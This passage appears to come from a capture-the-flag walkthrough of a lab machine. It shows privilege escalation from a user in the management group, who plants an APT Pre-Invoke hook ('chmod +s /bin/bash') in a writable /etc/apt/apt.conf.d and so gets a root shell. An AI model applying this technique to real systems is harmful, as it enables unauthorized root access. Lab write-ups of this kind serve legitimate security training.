HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                                      100%[========================================================================================================================================>]   2.94M  1.84MB/s    in 1.6s    

2022-03-07 11:31:09 (1.84 MB/s) - ‘pspy64’ saved [3078592/3078592]

Let's run it.

chmod +x pspy64 && ./pspy64

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

We will see, among other processes, that an apt-get update is being executed by the root user with UID=0.

2022/03/07 11:32:24 CMD: UID=0    PID=46278  | /usr/bin/apt-get update 
2022/03/07 11:32:24 CMD: UID=0    PID=46274  | /bin/sh -c /usr/bin/apt-get update

If we see which groups the user john belongs to, we can see that he belongs to the management group.

id

uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Let's see what files have the management group as owner group, and what permissions we have on them.

find / -group management 2>/dev/null | xargs ls -ld

drwxrwxr-x 2 root management 4096 Jul 28  2021 /etc/apt/apt.conf.d

Whenever an apt-get update is made, all the files on the /etc/apt/apt.conf.d folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the root user, we could create a file which will give the SUID permission the /bin/bash binary before the system update is made.

nano /etc/apt/apt.conf.d/test

APT::Update::Pre-Invoke  {"chmod +s /bin/bash";};

Then, we wait until the update is made, and the /bin/bash should have the SUID permission assigned.

ls -l /bin/bash

-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash

And finally, all we have to do is reap the harvest and take the root flag.

bash -p

bash-5.0# whoami
root
bash-5.0# cat /root/root.txt 
7d9f4abfb9b32589aa8bf5c1a86a5f65

Let's transfer to the writer machine.

https://www.wappalyzer.com/
pspy
https://github.com/DominicBreuker/pspy